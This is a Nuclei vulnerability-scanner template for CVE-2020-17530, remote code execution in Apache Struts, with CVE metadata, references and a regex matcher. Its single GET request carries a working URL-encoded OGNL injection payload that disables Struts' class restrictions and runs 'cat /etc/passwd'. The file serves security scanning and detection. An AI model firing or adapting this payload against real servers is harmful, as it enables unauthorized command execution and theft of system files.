nuclei-templates/http/cves/2020/CVE-2020-17530.yaml

37 lines
2.0 KiB
YAML

id: CVE-2020-17530
info:
name: Apache Struts 2.0.0-2.5.25 - Remote Code Execution
author: pikpikcu
severity: critical
description: Apache Struts 2.0.0 through Struts 2.5.25 is susceptible to remote code execution because forced OGNL evaluation, when evaluated on raw user input in tag attributes, may allow it.
reference:
- http://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.html
- http://jvn.jp/en/jp/JVN43969166/index.html
- https://cwiki.apache.org/confluence/display/WW/S2-061
- https://security.netapp.com/advisory/ntap-20210115-0005/
- https://nvd.nist.gov/vuln/detail/CVE-2020-17530
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2020-17530
cwe-id: CWE-917
epss-score: 0.96825
tags: cve,cve2020,apache,rce,struts,kev,packetstorm
metadata:
max-request: 1
http:
- method: GET
path:
- "{{BaseURL}}/?id=%25%7B%28%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D%29.%28%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D%29.%28%23bean%3D%23instancemanager.newInstance%28%22org.apache.commons.collections.BeanMap%22%29%29.%28%23bean.setBean%28%23stack%29%29.%28%23context%3D%23bean.get%28%22context%22%29%29.%28%23bean.setBean%28%23context%29%29.%28%23macc%3D%23bean.get%28%22memberAccess%22%29%29.%28%23bean.setBean%28%23macc%29%29.%28%23emptyset%3D%23instancemanager.newInstance%28%22java.util.HashSet%22%29%29.%28%23bean.put%28%22excludedClasses%22%2C%23emptyset%29%29.%28%23bean.put%28%22excludedPackageNames%22%2C%23emptyset%29%29.%28%23arglist%3D%23instancemanager.newInstance%28%22java.util.ArrayList%22%29%29.%28%23arglist.add%28%22cat+%2Fetc%2Fpasswd%22%29%29.%28%23execute%3D%23instancemanager.newInstance%28%22freemarker.template.utility.Execute%22%29%29.%28%23execute.exec%28%23arglist%29%29%7D"
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0:"
part: body
# Enhanced by mp on 2022/04/27